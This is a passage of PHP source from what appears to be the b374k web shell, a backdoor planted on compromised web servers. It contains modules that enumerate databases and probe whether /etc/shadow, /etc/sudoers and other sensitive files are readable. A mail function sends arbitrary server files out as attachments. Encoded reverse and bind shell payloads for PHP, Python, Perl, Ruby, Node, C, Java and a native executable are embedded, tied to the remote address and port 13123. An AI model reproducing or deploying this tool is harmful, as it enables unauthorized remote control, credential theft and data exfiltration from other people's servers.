"</table>"; } } else{ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> error <span class='strong'>]</span></p>"; } } } } else{ if(($type!='pdo') && ($type!='odbc')){ if($type=='mysql') $showdb = "SHOW DATABASES"; elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases"; elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata"; elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\""; else $showdb = "SHOW DATABASES"; $query_db = sql_query($type, $showdb, $con); if($query_db!=false) { while($db_arr = sql_fetch_data($type, $query_db)){ foreach($db_arr as $db){ if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db; elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'"; elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'"; elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'"; elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; else $showtbl = ""; $res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='display:none;margin:8px 0;'>"; $query_table = sql_query($type, $showtbl, $con); if($query_table!=false){ while($tables_arr = sql_fetch_data($type, $query_table)){ foreach($tables_arr as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table."</td></tr>"; } } $res .= "</table>"; } } } } } } if(!empty($res)) output($res); output('error');
} ?><?php
$GLOBALS['module']['info']['id'] = "info";
$GLOBALS['module']['info']['title'] = "Info";
$GLOBALS['module']['info']['js_ontabselected'] = "";
$GLOBALS['module']['info']['content'] = "<div class='border infoResult'></div>"; if(!function_exists('info_getinfo')){ function info_getinfo(){ $res = ""; $res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>"; $res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>"; if(is_win()){ foreach (range("A", "Z") as $letter){ if(is_readable($letter.":\")){ $drive = $letter.":"; $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>"; } } } else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>"; $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>"; $access = array("python"=>"python -V", "perl"=>"perl -e \"print \$]\"", "python"=>"python -V", "ruby"=>"ruby -v", "node"=>"node -v", "nodejs"=>"nodejs -v", "gcc"=>"gcc -dumpversion", "java"=>"java -version", "javac"=>"javac -version" ); foreach($access as $k=>$v){ $version = execute($v); $version = explode("
", $version); if($version[0]) $version = $version[0]; else $version = "?"; $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>"; } if(!is_win()){ $interesting = array( "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); foreach($interesting as $f){ if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path='".html_safe($f)."' onclick='view_entry(this);'>".$f." is readable</a></td></tr>"; } } $res .= "</table></div>"; if(!is_win()){ if($i_buff=trim(read_file("/proc/cpuinfo"))){ $res .= "<p class='boxtitle' onclick=\"info_toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>"; $res .= "<div class='info' id='info_cpu' style='margin-bottom:8px;display:none;'>"; $i_buffs = explode("

", $i_buff); foreach($i_buffs as $i_buffss){ $i_buffss = trim($i_buffss); if($i_buffss!=""){ $i_buffsss = explode("
", $i_buffss); $res .= "<table class='dataView'>"; foreach($i_buffsss as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } } $res .= "</table>"; } } $res .= "</div>"; } if($i_buff=trim(read_file("/proc/meminfo"))){ $res .= "<p class='boxtitle' onclick=\"info_toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>"; $i_buffs = explode("
", $i_buff); $res .= "<div class='info' id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>"; foreach($i_buffs as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } else $res .= "</table><table class='dataView'>"; } $res .= "</table></div>"; } if($i_buff=trim(read_file("/proc/partitions"))){ $i_buff = preg_replace("/\ +/", " ", $i_buff); $res .= "<p class='boxtitle' onclick=\"info_toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>"; $res .= "<div class='info' id='info_part' style='margin-bottom:8px;display:none;'>"; $i_buffs = explode("

", $i_buff); $res .= "<table class='dataView'><tr>"; $i_head = explode(" ", $i_buffs[0]); foreach($i_head as $h) $res .= "<th>".$h."</th>"; $res .= "</tr>"; $i_buffss = explode("
", $i_buffs[1]); foreach($i_buffss as $i_b){ $i_row = explode(" ", trim($i_b)); $res .= "<tr>"; foreach($i_row as $r) $res .= "<td style='text-align:center;'>".$r."</td>"; $res .= "</tr>"; } $res .= "</table>"; $res .= "</div>"; } } $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); foreach($phpinfo as $p=>$i){ $res .= "<p class='boxtitle' onclick=\"info_toggle('".$i."');\" style='margin-bottom:8px;'>".$p."</p>"; ob_start(); eval("phpinfo(".$i.");"); $b = ob_get_contents(); ob_end_clean(); if(preg_match("/<body>(.*?)<\/body>/is", $b, $r)){ $body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]); $body = str_replace("<table", "<table class='boxtbl' ", $body); $body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $body); $body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?)<\/a>/", "", $body); $body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*?)<\/a>/", "", $body); $res .= "<div class='info' id='".$i."' style='margin-bottom:8px;display:none;'>".$body."</div>"; } } $res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='margin-bottom:8px;'>refresh</span><div style='clear:both;'></div>"; return $res; }
} if(isset($p['infoRefresh'])){ output(info_getinfo());
} ?><?php
$GLOBALS['module']['mail']['id'] = "mail";
$GLOBALS['module']['mail']['title'] = "Mail";
$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
$GLOBALS['module']['mail']['content'] = "
<table class='boxtbl'>
<thead> <tr><th colspan='2'><p class='boxtitle'>Mail</p></th></tr>
</thead>
<tbody id='mailTBody'> <tr><td style='width:120px'>From</td><td colspan='2'><input type='text' id='mailFrom' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr> <tr><td>To</td><td><input type='text' id='mailTo' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr> <tr><td>Subject</td><td><input type='text' id='mailSubject' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
</tbody>
<tfoot> <tr><td colspan='2'><textarea id='mailContent' style='height:140px;min-height:140px;'></textarea></td></tr> <tr> <td colspan='2'><span style='width:120px;' class='button' onclick=\"mail_send();\">send</span> <span style='width:120px;' class='button' onclick=\"mail_attach();\">attachment</span> </td> </tr> <tr><td colspan='2'><span id='mailResult'></span></td></tr>
</tfoot>
</table>
"; if(!function_exists('send_email')){ function send_email($from, $to, $subject, $msg, $attachment){ $headers = "MIME-Version: 1.0
".$from; $rand = md5(time()); $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"

"; $headers .= "--".$rand."
"; $headers .= "Content-Type: text/html; charset=\"UTF-8\"
Content-Transfer-Encoding: 8bit

"; $headers .= $msg."

"; if(count($attachment)>0){ foreach($attachment as $file){ if(is_file($file)){ $content = chunk_split(base64_encode(read_file($file))); $headers .= "--".$rand."
"; $headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"
"; $headers .= "Content-Transfer-Encoding: base64
"; $headers .= "Content-Disposition: attachment

"; $headers .= $content."

"; } } } $headers .= "--".$rand."--
"; if(@mail($to, $subject, "", $headers)) return true; return false; }
} if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){ $mailFrom = trim($p['mailFrom']); $mailTo = trim($p['mailTo']); $mailSubject = trim($p['mailSubject']); $mailContent = trim($p['mailContent']); $mailAttachment = trim($p['mailAttachment']); $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array(); if(empty($mailTo)) output("Please specify at least one recipient"); if(!empty($mailFrom)){ $mailFrom = "From: ".$mailFrom."
Reply-To: ".$mailFrom."
"; } foreach($mailAttachment as $file){ $file = trim($file); if(empty($file)) continue; if(!is_file($file)) output("No such file : ".$file); } if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo)); output("Failed to send mail");
} ?><?php
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":""; $GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";
$GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";
$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";
$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";
$GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=";
$GLOBALS['resources']['rs_executable'] = "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